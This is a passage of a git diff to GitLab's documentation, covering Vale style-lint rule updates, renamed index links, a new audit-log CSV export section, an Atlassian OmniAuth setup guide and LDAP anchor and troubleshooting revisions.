diff options
Diffstat (limited to 'doc')
558 files changed, 23253 insertions, 8110 deletions
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml index ae76162dfcf..d26ce9810d7 100644 --- a/doc/.vale/gitlab/Acronyms.yml +++ b/doc/.vale/gitlab/Acronyms.yml @@ -14,21 +14,26 @@ first: '\b([A-Z]{3,5})\b' second: '(?:\b[A-Z][a-z]+ )+\(([A-Z]{3,5})\)' # ... with the exception of these: exceptions: + - ANSI - API - ARN - ASCII - AWS - CLI - CNAME - - CPU - CORE + - CPU - CSS - CSV + - DAST - DNS - EKS - FAQ + - FOSS + - GCP - GDK - GET + - GKE - GNU - GPG - GPL @@ -38,6 +43,7 @@ exceptions: - IAM - IBM - IDE + - IID - IRC - ISO - JSON @@ -46,6 +52,8 @@ exceptions: - LESS - LFS - LRU + - MIME + - MVC - NFS - NGINX - NOTE @@ -56,15 +64,20 @@ exceptions: - PHP - POST - PUT - - RPC - RAM + - RPC - RSA - RSS + - RVM - SAML + - SAST - SCIM - SCP - SCSS + - SDK - SHA + - SLA + - SMTP - SQL - SSH - SSL @@ -77,11 +90,12 @@ exceptions: - TODO - TOML - UNIX - - USB - URI - URL + - USB - UUID - VPC - WIP + - WSL - XML - YAML diff --git a/doc/.vale/gitlab/AlertBoxStyle.yml b/doc/.vale/gitlab/AlertBoxStyle.yml index 8f9e444edc1..06743d95ea9 100644 --- a/doc/.vale/gitlab/AlertBoxStyle.yml +++ b/doc/.vale/gitlab/AlertBoxStyle.yml @@ -3,6 +3,12 @@ # # Makes sure alert boxes follow standard formatting. # +# Checks for 4 known issues: +# - Alert boxes with no colon, or colon outside the bold text +# - Known incorrect capitalization of the most commonly used alert box text +# - Alert boxes with the note text on the same line +# - Alert boxes using blockquote formatting, like "> **Note:**" +# # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence message: 'Alert box "%s" must use the formatting in the style guide.' diff --git a/doc/.vale/gitlab/British.yml b/doc/.vale/gitlab/British.yml index 3a0cb321f93..7221d7d24aa 100644 --- a/doc/.vale/gitlab/British.yml +++ b/doc/.vale/gitlab/British.yml @@ -67,7 +67,6 @@ swap: matt: matte meagre: meager metre: meter - mitre: miter modelling: modeling moustache: mustache neighbour: neighbor @@ -98,6 +97,8 @@ swap: speciality: specialty spectre: specter splendour: splendor + standardise: standardize + standardised: standardized sulphur: sulfur theatre: theater travelled: traveled diff --git a/doc/.vale/gitlab/ContractionsDiscard.yml b/doc/.vale/gitlab/ContractionsDiscard.yml deleted file mode 100644 index 698fda86b5b..00000000000 --- a/doc/.vale/gitlab/ContractionsDiscard.yml +++ /dev/null @@ -1,32 +0,0 @@ ---- -# Suggestion: gitlab.ContractionsDiscard -# -# Suggests a list of agreed-upon contractions to discard. -# -# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles -extends: substitution -message: 'Use "%s" instead of "%s", for a friendly, informal tone.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language -level: suggestion -nonword: false -ignorecase: true -swap: - - # Uncommon contractions are not ok - aren't: are not - couldn't: could not - didn't: did not - doesn't: does not - hasn't: has not - how's: how is - isn't: is not - shouldn't: should not - they're: they are - wasn't: was not - weren't: were not - we've: we have - what's: what is - when's: when is - where's: where is - who's: who is - why's: why is diff --git a/doc/.vale/gitlab/ContractionsKeep.yml b/doc/.vale/gitlab/ContractionsKeep.yml deleted file mode 100644 index eeaf65e0829..00000000000 --- a/doc/.vale/gitlab/ContractionsKeep.yml +++ /dev/null @@ -1,25 +0,0 @@ ---- -# Suggestion: gitlab.ContractionsKeep -# -# Suggests a list of agreed-upon contractions to keep. -# -# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles -extends: substitution -message: 'Use "%s" instead of "%s", for a friendly, informal tone.' -link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#language -level: suggestion -nonword: false -ignorecase: true -swap: - - # Common contractions are ok - it is: it's - can not: can't - cannot: can't - do not: don't - have not: haven't - that is: that's - we are: we're - would not: wouldn't - you are: you're - you have: you've diff --git a/doc/.vale/gitlab/RelativeLinks.yml b/doc/.vale/gitlab/RelativeLinks.yml index f7407375b84..7af20d8226f 100644 --- a/doc/.vale/gitlab/RelativeLinks.yml +++ b/doc/.vale/gitlab/RelativeLinks.yml @@ -10,4 +10,4 @@ link: https://docs.gitlab.com/ee/development/documentation/styleguide.html#links level: error scope: raw raw: - - '\[.+\]\(https?:\/\/docs\.gitlab\.com\/ee.*\)' + - '\[.+\]\(https?:\/\/docs\.gitlab\.com\/[ce]e.*\)' diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index 1301e8c4ca1..bf816afdfab 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -76,6 +76,7 @@ Citus clonable Cloudwatch Cobertura +Codepen Cognito colocated colocating @@ -121,8 +122,8 @@ Disqus Dockerfile Dockerfiles dogfood -dogfoods dogfooding +dogfoods dotenv downvoted downvotes @@ -200,9 +201,9 @@ interdependency interruptible Irker Istio +Jaeger jasmine-jquery JavaScript -Jaeger Jenkins Jenkinsfile Jira @@ -214,6 +215,7 @@ kanbans Kaniko Karma Kerberos +keyset Kibana Kinesis Knative @@ -258,14 +260,14 @@ middlewares migratus Minikube MinIO -mitmproxy +misconfiguration +misconfigurations misconfigure misconfigured misconfigures -misconfiguration -misconfigurations misconfiguring mitigations +mitmproxy mixin mixins mockup @@ -282,15 +284,16 @@ namespaces namespacing namespacings Nanoc +Netlify NGINX Nokogiri npm Nurtch OAuth -Okta offboarded offboarding offboards +Okta OmniAuth onboarding OpenID @@ -301,12 +304,12 @@ parallelizations passwordless Patroni performant +PgBouncer phaser phasers Pipfile Pipfiles Piwik -PgBouncer plaintext Poedit polyfill @@ -347,12 +350,12 @@ rebase rebased rebases rebasing -Redcarpet -Redis -Redmine reCAPTCHA +Redcarpet redirection redirections +Redis +Redmine refactorings referer referers @@ -370,21 +373,21 @@ repurposing requeue requeued requeues -reusability Restlet +resync resynced resyncing resyncs +reusability +reverified +reverifies +reverify rollout rollouts rsync rsynced rsyncing rsyncs -resync -reverified -reverifies -reverify Rubix Rubocop Rubular @@ -397,21 +400,22 @@ runtimes Salesforce SAML sandboxing +sanitization sbt scatterplot scatterplots +Schemastore Sendmail Sentry +serializer +serializers +serializing serverless -Sidekiq -Sisense sharding shfmt Shibboleth -sanitization -serializer -serializers -serializing +Sidekiq +Sisense Sitespeed Slack Slony @@ -431,7 +435,6 @@ strace strikethrough strikethroughs stunnel -subpath subfolder subfolders subgraph @@ -443,14 +446,15 @@ sublicensing subnet subnets subnetting -subtree -subtrees +subpath subqueried subqueries subquery subquerying substring substrings +subtree +subtrees syslog tcpdump Tiller @@ -465,9 +469,9 @@ tooltip tooltips Trello triaging -TypeScript Twilio Twitter +TypeScript Ubuntu unapplied unarchive @@ -504,8 +508,8 @@ unoptimizes unoptimizing unprioritized unprotect -unprotects unprotected +unprotects unpublish unpublished unpublishes @@ -524,6 +528,8 @@ unstage unstaged unstages unstaging +unstar +unstars unstarted unstash unstashed @@ -558,8 +564,8 @@ webserver whitepaper whitepapers wireframe -wireframes wireframed +wireframes wireframing Wireshark Wordpress diff --git a/doc/README.md b/doc/README.md index b73300accab..efae2cdd3ff 100644 --- a/doc/README.md +++ b/doc/README.md @@ -93,7 +93,7 @@ The following documentation relates to the DevOps **Manage** stage: |:--------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [Authentication and<br/>Authorization](administration/auth/README.md) **(CORE ONLY)** | Supported authentication and authorization providers. | | [GitLab Value Stream Analytics](user/project/cycle_analytics.md) | Measure the time it takes to go from an [idea to production](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab) for each project you have. | -| [Instance Statistics](user/instance_statistics/index.md) | Discover statistics on how many GitLab features you use and user activity. | +| [Instance-level Analytics](user/admin_area/analytics/index.md) | Discover statistics on how many GitLab features you use and user activity. | <div align="right"> <a type="button" class="btn btn-default" href="#overview"> @@ -126,7 +126,7 @@ The following documentation relates to the DevOps **Plan** stage: | [Roadmap](user/group/roadmap/index.md) **(ULTIMATE)** | Visualize epic timelines. | | [Service Desk](user/project/service_desk.md) | A simple way to allow people to create issues in your GitLab instance without needing their own user account. | | [Time Tracking](user/project/time_tracking.md) | Track time spent on issues and merge requests. | -| [Todos](user/todos.md) | Keep track of work requiring attention with a chronological list displayed on a simple dashboard. | +| [To-Do List](user/todos.md) | Keep track of work requiring attention with a chronological list displayed on a simple dashboard. | <div align="right"> <a type="button" class="btn btn-default" href="#overview"> @@ -149,7 +149,7 @@ The following documentation relates to the DevOps **Create** stage: | Create topics - Projects and Groups | Description | |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------| -| [Advanced global search](user/search/advanced_global_search.md) **(STARTER)** | Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. | +| [Advanced search](user/search/advanced_global_search.md) **(STARTER)** | Leverage Elasticsearch for faster, more advanced code search across your entire GitLab instance. | | [Advanced syntax search](user/search/advanced_search_syntax.md) **(STARTER)** | Use advanced queries for more targeted search results. | | [Contribution analytics](user/group/contribution_analytics/index.md) **(STARTER)** | See detailed statistics of group contributors. | | [Create](gitlab-basics/create-project.md) and [fork](gitlab-basics/fork-project.md) projects, and<br/>[import and export projects<br/>between instances](user/project/settings/import_export.md) | Create, duplicate, and move projects. | @@ -159,7 +159,7 @@ The following documentation relates to the DevOps **Create** stage: | [Issue Analytics](user/group/issues_analytics/index.md) **(PREMIUM)** | Check how many issues were created per month. | | [Merge Request Analytics](user/analytics/merge_request_analytics.md) **(PREMIUM)** | Check your throughput productivity - how many merge requests were merged per month. | | [Projects](user/project/index.md), including [project access](public_access/public_access.md)<br/>and [settings](user/project/settings/index.md) | Host source code, and control your project's visibility and set configuration. | -| [Search through GitLab](user/search/index.md) | Search for issues, merge requests, projects, groups, and todos. | +| [Search through GitLab](user/search/index.md) | Search for issues, merge requests, projects, groups, and to-dos. | | [Snippets](user/snippets.md) | Snippets allow you to create little bits of code. | | [Web IDE](user/project/web_ide/index.md) | Edit files within GitLab's user interface. | | [Static Site Editor](user/project/static_site_editor/index.md) | Edit content on static websites. | @@ -198,7 +198,7 @@ The following documentation relates to the DevOps **Create** stage: | Create topics - Merge Requests | Description | |:--------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------| -| [Checking out merge requests locally](user/project/merge_requests/reviewing_and_managing_merge_requests.md#checkout-merge-requests-locally) | Tips for working with merge requests locally. | +| [Checking out merge requests locally](user/project/merge_requests/reviewing_and_managing_merge_requests.md#checkout-merge-requests-locally-through-the-head-ref) | Tips for working with merge requests locally. | | [Cherry-picking](user/project/merge_requests/cherry_pick_changes.md) | Use GitLab for cherry-picking changes. | | [Merge request thread resolution](user/discussions/index.md#moving-a-single-thread-to-a-new-issue) | Resolve threads, move threads in a merge request to an issue, and only allow merge requests to be merged if all threads are resolved. | | [Merge requests](user/project/merge_requests/index.md) | Merge request management. | @@ -244,7 +244,7 @@ The following documentation relates to the DevOps **Verify** stage: |:----------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------| | [Code Quality reports](user/project/merge_requests/code_quality.md) | Analyze source code quality. | | [GitLab CI/CD](ci/README.md) | Explore the features and capabilities of Continuous Integration with GitLab. | -| [JUnit test reports](ci/junit_test_reports.md) | Display JUnit test reports on merge requests. | +| [Unit test reports](ci/unit_test_reports.md) | Display Unit test reports on merge requests. | | [Multi-project pipelines](ci/multi_project_pipelines.md) **(PREMIUM)** | Visualize entire pipelines that span multiple projects, including all cross-project inter-dependencies. | | [Pipeline Graphs](ci/pipelines/index.md#visualize-pipelines) | Visualize builds. | | [Review Apps](ci/review_apps/index.md) | Preview changes to your application right from a merge request. | diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index e7eab5a291e..099346b2b0b 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -68,7 +68,7 @@ From there, you can see the following actions: - Roles allowed to create project changed. - Group CI/CD variable added, removed, or protected status changed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30857) in GitLab 13.3. -Group events can also be accessed via the [Group Audit Events API](../api/audit_events.md#group-audit-events-starter) +Group events can also be accessed via the [Group Audit Events API](../api/audit_events.md#group-audit-events) ### Project events **(STARTER)** @@ -96,8 +96,9 @@ From there, you can see the following actions: - Permission to approve merge requests by authors was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9) - Number of required approvals was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9) - Added or removed users and groups from project approval groups ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213603) in GitLab 13.2) +- Project CI/CD variable added, removed, or protected status changed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30857) in GitLab 13.4. -Project events can also be accessed via the [Project Audit Events API](../api/audit_events.md#project-audit-events-starter) +Project events can also be accessed via the [Project Audit Events API](../api/audit_events.md#project-audit-events) ### Instance events **(PREMIUM ONLY)** @@ -132,7 +133,7 @@ the filter dropdown box. You can further filter by specific group, project, or u  -Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events-premium-only) +Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events) ### Missing events @@ -171,4 +172,77 @@ the steps bellow. ```ruby Feature.enable(:repository_push_audit_event) - ``` + +## Export to CSV **(PREMIUM ONLY)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1449) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. +> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-audit-log-export-to-csv). **(PREMIUM ONLY)** + +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +Export to CSV allows customers to export the current filter view of your audit log as a +CSV file, +which stores tabular data in plain text. The data provides a comprehensive view with respect to +audit events. + +To export the Audit Log to CSV, navigate to +**{monitor}** **Admin Area > Monitoring > Audit Log** + +1. Click in the field **Search**. +1. In the dropdown menu that appears, select the event type that you want to filter by. +1. Select the preferred date range. +1. Click **Export as CSV**. + + + +### Sort + +Exported events are always sorted by `ID` in ascending order. + +### Format + +Data is encoded with a comma as the column delimiter, with `"` used to quote fields if needed, and newlines to separate rows. +The first row contains the headers, which are listed in the following table along with a description of the values: + +| Column | Description | +|---------|-------------| +| ID | Audit event `id` | +| Author ID | ID of the author | +| Author Name | Full name of the author | +| Entity ID | ID of the scope | +| Entity Type | Type of the entity (`Project`/`Group`/`User`) | +| Entity Path | Path of the entity | +| Target ID | ID of the target | +| Target Type | Type of the target | +| Target Details | Details of the target | +| Action | Description of the action | +| IP Address | IP address of the author who performed the action | +| Created At (UTC) | Formatted as `YYYY-MM-DD HH:MM:SS` | + +### Limitation + +The Audit Log CSV file size is limited to a maximum of `15 MB`. +The remaining records are truncated when this limit is reached. + +### Enable or disable Audit Log Export to CSV + +The Audit Log Export to CSV is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:audit_log_export_csv) +``` + +To disable it: + +```ruby +Feature.disable(:audit_log_export_csv) +``` diff --git a/doc/administration/audit_reports.md b/doc/administration/audit_reports.md index d5a08b711be..83fbeda26aa 100644 --- a/doc/administration/audit_reports.md +++ b/doc/administration/audit_reports.md @@ -1,6 +1,7 @@ --- stage: Manage group: Compliance +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers description: 'Learn how to create evidence artifacts typically requested by a 3rd party auditor.' --- @@ -8,7 +9,7 @@ description: 'Learn how to create evidence artifacts typically requested by a 3r GitLab can help owners and administrators respond to auditors by generating comprehensive reports. These **Audit Reports** vary in scope, depending on the -need: +needs. ## Use cases @@ -26,6 +27,3 @@ need: - `https://docs.gitlab.com/ee/administration/audit_events.html` - `https://docs.gitlab.com/ee/administration/logs.html` - -We plan on making Audit Events [downloadable as a CSV](https://gitlab.com/gitlab-org/gitlab/-/issues/1449) -in the near future. diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md index 60e1dfb4637..926a4abab7d 100644 --- a/doc/administration/auth/README.md +++ b/doc/administration/auth/README.md @@ -11,6 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w GitLab integrates with the following external authentication and authorization providers: +- [Atlassian](atlassian.md) - [Auth0](../../integration/auth0.md) - [Authentiq](authentiq.md) - [AWS Cognito](cognito.md) diff --git a/doc/administration/auth/atlassian.md b/doc/administration/auth/atlassian.md new file mode 100644 index 00000000000..3a1f5eeb0c2 --- /dev/null +++ b/doc/administration/auth/atlassian.md @@ -0,0 +1,86 @@ +--- +type: reference +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Atlassian OmniAuth Provider + +To enable the Atlassian OmniAuth provider for passwordless authentication you must register an application with Atlassian. + +## Atlassian application registration + +1. Go to <https://developer.atlassian.com/apps/> and sign-in with the Atlassian + account that will administer the application. + +1. Click **Create a new app**. + +1. Choose an App Name, such as 'GitLab', and click **Create**. + +1. Note the `Client ID` and `Secret` for the [GitLab configuration](#gitlab-configuration) steps. + +1. In the left sidebar under **APIS AND FEATURES**, click **OAuth 2.0 (3LO)**. + +1. Enter the GitLab callback URL using the format `https://gitlab.example.com/users/auth/atlassian_oauth2/callback` and click **Save changes**. + +1. Click **+ Add** in the left sidebar under **APIS AND FEATURES**. + +1. Click **Add** for **Jira platform REST API** and then **Configure**. + +1. Click **Add** next to the following scopes: + - **View Jira issue data** + - **View user profiles** + - **Create and manage issues** + +## GitLab configuration + +1. On your GitLab server, open the configuration file: + + For Omnibus GitLab installations: + + ```shell + sudo editor /etc/gitlab/gitlab.rb + ``` + + For installations from source: + + ```shell + sudo -u git -H editor /home/git/gitlab/config/gitlab.yml + ``` + +1. See [Initial OmniAuth Configuration](../../integration/omniauth.md#initial-omniauth-configuration) for initial settings to enable single sign-on and add `atlassian_oauth2` as an OAuth provider. + +1. Add the provider configuration for Atlassian: + + For Omnibus GitLab installations: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { + name: "atlassian_oauth2", + app_id: "YOUR_CLIENT_ID", + app_secret: "YOUR_CLIENT_SECRET", + args: { scope: 'offline_access read:jira-user read:jira-work', prompt: 'consent' } + } + ] + ``` + + For installations from source: + + ```yaml + - name: "atlassian_oauth2", + app_id: "YOUR_CLIENT_ID", + app_secret: "YOUR_CLIENT_SECRET", + args: { scope: 'offline_access read:jira-user read:jira-work', prompt: 'consent' } + ``` + +1. Change `YOUR_CLIENT_ID` and `YOUR_CLIENT_SECRET` to the Client credentials you received in [application registration](#atlassian-application-registration) steps. + +1. Save the configuration file. + +1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../restart_gitlab.md#installations-from-source) for the changes to take effect if you installed GitLab via Omnibus or from source respectively. + +On the sign-in page there should now be an Atlassian icon below the regular sign in form. Click the icon to begin the authentication process. + +If everything goes right, the user is signed in to GitLab using their Atlassian credentials. diff --git a/doc/administration/auth/cognito.md b/doc/administration/auth/cognito.md index b4df6446835..e777acd0d32 100644 --- a/doc/administration/auth/cognito.md +++ b/doc/administration/auth/cognito.md @@ -37,7 +37,7 @@ The following steps enable AWS Cognito as an authentication provider: 1. Save changes for the app client settings. 1. Under **Domain name** include the AWS domain name for your AWS Cognito application. -1. Under **App Clients**, find your **App client id** and **App client secret**. These values correspond to the OAuth2 Client ID and Client Secret. Save these values. +1. Under **App Clients**, find your app client ID and app client secret. These values correspond to the OAuth2 Client ID and Client Secret. Save these values. ## Configure GitLab diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md index 1f8fca33811..90f0e681dd1 100644 --- a/doc/administration/auth/ldap/google_secure_ldap.md +++ b/doc/administration/auth/ldap/google_secure_ldap.md @@ -35,7 +35,7 @@ The steps below cover: credentials' and 'Read user information'. Select 'Add LDAP Client' TIP: **Tip:** - If you plan to use GitLab [LDAP Group Sync](index.md#group-sync-starter-only) + If you plan to use GitLab [LDAP Group Sync](index.md#group-sync) , turn on 'Read group information'.  diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index 548e734c931..1dac098ec0c 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -16,6 +16,8 @@ This integration works with most LDAP-compliant directory servers, including: - Open LDAP - 389 Server +Users added through LDAP take a [licensed seat](../../../subscriptions/self_managed/index.md#choose-the-number-of-users). + GitLab Enterprise Editions (EE) include enhanced integration, including group membership syncing as well as multiple LDAP servers support. @@ -35,7 +37,7 @@ GitLab assumes that LDAP users: - Are not able to change their LDAP `mail`, `email`, or `userPrincipalName` attributes. An LDAP user who is allowed to change their email on the LDAP server can potentially - [take over any account](#enabling-ldap-sign-in-for-existing-gitlab-users-core-only) + [take over any account](#enabling-ldap-sign-in-for-existing-gitlab-users) on your GitLab server. - Have unique email addresses, otherwise it is possible for LDAP users with the same email address to share the same GitLab account. @@ -55,7 +57,7 @@ immediately block all access. NOTE: **Note:** GitLab Enterprise Edition Starter supports a -[configurable sync time](#adjusting-ldap-user-sync-schedule-starter-only). +[configurable sync time](#adjusting-ldap-user-sync-schedule). ## Git password authentication **(CORE ONLY)** @@ -338,7 +340,7 @@ sync, while also allowing your SAML identity provider to handle additional checks like custom 2FA. When LDAP web sign in is disabled, users will not see a **LDAP** tab on the sign in page. -This does not disable [using LDAP credentials for Git access](#git-password-authentication-core-only). +This does not disable [using LDAP credentials for Git access](#git-password-authentication). **Omnibus configuration** @@ -389,7 +391,7 @@ that your GitLab instance will connect to. To add another LDAP server: -1. Duplicate the settings under [the main configuration](#configuration-core-only). +1. Duplicate the settings under [the main configuration](#configuration). 1. Edit them to match the additional LDAP server. Be sure to choose a different provider ID made of letters a-z and numbers 0-9. @@ -544,11 +546,11 @@ following. 1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. To take advantage of group sync, group owners or maintainers will need to [create one -or more LDAP group links](#adding-group-links-starter-only). +or more LDAP group links](#adding-group-links). ### Adding group links **(STARTER ONLY)** -For information on adding group links via CNs and filters, refer to [the GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap-starter-only). +For information on adding group links via CNs and filters, refer to [the GitLab groups documentation](../../../user/group/index.md#manage-group-memberships-via-ldap). ### Administrator sync **(STARTER ONLY)** @@ -609,7 +611,7 @@ When enabled, the following applies: To enable it you need to: -1. [Enable LDAP](#configuration-core-only) +1. [Enable LDAP](#configuration) 1. Navigate to **(admin)** **Admin Area > Settings -> Visibility and access controls**. 1. Make sure the "Lock memberships to LDAP synchronization" checkbox is enabled. @@ -657,7 +659,7 @@ sync to run once every 2 hours at the top of the hour. ### External groups **(STARTER ONLY)** Using the `external_groups` setting will allow you to mark all users belonging -to these groups as [external users](../../../user/permissions.md#external-users-core-only). +to these groups as [external users](../../../user/permissions.md#external-users). Group membership is checked periodically through the `LdapGroupSync` background task. diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index 75183f54990..3d3ac124ac4 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -56,7 +56,7 @@ main: # 'main' is the GitLab 'provider ID' of this LDAP server The following allows you to perform a search in LDAP using the rails console. Depending on what you're trying to do, it may make more sense to query [a -user](#query-a-user-in-ldap) or [a group](#query-a-group-in-ldap-starter-only) directly, or +user](#query-a-user-in-ldap) or [a group](#query-a-group-in-ldap) directly, or even [use `ldapsearch`](#ldapsearch) instead. ```ruby @@ -90,8 +90,8 @@ established but GitLab doesn't show you LDAP users in the output, one of the following is most likely true: - The `bind_dn` user doesn't have enough permissions to traverse the user tree. -- The user(s) don't fall under the [configured `base`](index.md#configuration-core-only). -- The [configured `user_filter`](index.md#set-up-ldap-user-filter-core-only) blocks access to the user(s). +- The user(s) don't fall under the [configured `base`](index.md#configuration). +- The [configured `user_filter`](index.md#set-up-ldap-user-filter) blocks access to the user(s). In this case, you con confirm which of the above is true using [ldapsearch](#ldapsearch) with the existing LDAP configuration in your @@ -102,9 +102,9 @@ In this case, you con confirm which of the above is true using A user can have trouble signing in for any number of reasons. To get started, here are some questions to ask yourself: -- Does the user fall under the [configured `base`](index.md#configuration-core-only) in +- Does the user fall under the [configured `base`](index.md#configuration) in LDAP? The user must fall under this `base` to sign-in. -- Does the user pass through the [configured `user_filter`](index.md#set-up-ldap-user-filter-core-only)? +- Does the user pass through the [configured `user_filter`](index.md#set-up-ldap-user-filter)? If one is not configured, this question can be ignored. If it is, then the user must also pass through this filter to be allowed to sign-in. - Refer to our docs on [debugging the `user_filter`](#debug-ldap-user-filter). @@ -122,7 +122,7 @@ If the logs don't lead to the root of the problem, use the to see if GitLab can read this user on the LDAP server. It can also be helpful to -[debug a user sync](#sync-all-users-starter-only) to +[debug a user sync](#sync-all-users) to investigate further. #### Invalid credentials on sign-in @@ -136,6 +136,27 @@ are true for the user in question: - Run [an LDAP check command](#ldap-check) to make sure that the LDAP settings are correct and [GitLab can see your users](#no-users-are-found). +#### Access denied for your LDAP account + +There is [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/235930) that +may affect users with [Auditor level access](../../auditor_users.md). When +downgrading from Premium/Ultimate, Auditor users who try to sign in +may see the following message: `Access denied for your LDAP account`. + +We have a workaround, based on toggling the access level of affected users: + +1. As an administrator, go to **Admin Area > Overview > Users**. +1. Select the name of the affected user. +1. In the user's administrative page, press **Edit** on the top right of the page. +1. Change the user's access level from **Regular** to **Admin** (or vice versa), + and press **Save changes** at the bottom of the page. +1. Press **Edit** on the top right of the user's profile page + again. +1. Restore the user's original access level (**Regular** or **Admin**) + and press **Save changes** again. + +The user should now be able to sign in. + #### Email has already been taken A user tries to sign-in with the correct LDAP credentials, is denied access, @@ -175,7 +196,7 @@ profile](../../../user/profile/index.md#user-profile) or an admin can do it. #### Debug LDAP user filter [`ldapsearch`](#ldapsearch) allows you to test your configured -[user filter](index.md#set-up-ldap-user-filter-core-only) +[user filter](index.md#set-up-ldap-user-filter) to confirm that it returns the users you expect it to return. ```shell @@ -191,7 +212,7 @@ ldapsearch -H ldaps://$host:$port -D "$bind_dn" -y bind_dn_password.txt -b "$ba #### Sync all users **(STARTER ONLY)** -The output from a manual [user sync](index.md#user-sync-starter-only) can show you what happens when +The output from a manual [user sync](index.md#user-sync) can show you what happens when GitLab tries to sync its users against LDAP. Enter the [rails console](#rails-console) and then run: @@ -202,11 +223,11 @@ LdapSyncWorker.new.perform ``` Next, [learn how to read the -output](#example-console-output-after-a-user-sync-starter-only). +output](#example-console-output-after-a-user-sync). ##### Example console output after a user sync **(STARTER ONLY)** -The output from a [manual user sync](#sync-all-users-starter-only) will be very verbose, and a +The output from a [manual user sync](#sync-all-users) will be very verbose, and a single user's successful sync can look like this: ```shell @@ -304,9 +325,9 @@ LDAP group sync, but for some reason it's not happening. There are several things to check to debug the situation. - Ensure LDAP configuration has a `group_base` specified. - [This configuration](index.md#group-sync-starter-only) is required for group sync to work properly. + [This configuration](index.md#group-sync) is required for group sync to work properly. - Ensure the correct [LDAP group link is added to the GitLab - group](index.md#adding-group-links-starter-only). + group](index.md#adding-group-links). - Check that the user has an LDAP identity: 1. Sign in to GitLab as an administrator user. 1. Navigate to **Admin area -> Users**. @@ -316,10 +337,10 @@ things to check to debug the situation. an LDAP DN as the 'Identifier'. If not, this user hasn't signed in with LDAP yet and must do so first. - You've waited an hour or [the configured - interval](index.md#adjusting-ldap-group-sync-schedule-starter-only) for the group to + interval](index.md#adjusting-ldap-group-sync-schedule) for the group to sync. To speed up the process, either go to the GitLab group **Settings -> Members** and press **Sync now** (sync one group) or [run the group sync Rake - task](../../raketasks/ldap.md#run-a-group-sync-starter-only) (sync all groups). + task](../../raketasks/ldap.md#run-a-group-sync) (sync all groups). If all of the above looks good, jump in to a little more advanced debugging in the rails console. @@ -327,23 +348,23 @@ the rails console. 1. Enter the [rails console](#rails-console). 1. Choose a GitLab group to test with. This group should have an LDAP group link already configured. -1. [Enable debug logging, find the above GitLab group, and sync it with LDAP](#sync-one-group-starter-only). +1. [Enable debug logging, find the above GitLab group, and sync it with LDAP](#sync-one-group). 1. Look through the output of the sync. See [example log - output](#example-console-output-after-a-group-sync-starter-only) + output](#example-console-output-after-a-group-sync) for how to read the output. 1. If you still aren't able to see why the user isn't being added, [query the - LDAP group directly](#query-a-group-in-ldap-starter-only) to see what members are listed. + LDAP group directly](#query-a-group-in-ldap) to see what members are listed. 1. Is the user's DN or UID in one of the lists from the above output? One of the DNs or UIDs here should match the 'Identifier' from the LDAP identity checked earlier. If it doesn't, the user does not appear to be in the LDAP group. #### Admin privileges not granted -When [Administrator sync](index.md#administrator-sync-starter-only) has been configured +When [Administrator sync](index.md#administrator-sync) has been configured but the configured users aren't granted the correct admin privileges, confirm the following are true: -- A [`group_base` is also configured](index.md#group-sync-starter-only). +- A [`group_base` is also configured](index.md#group-sync). - The configured `admin_group` 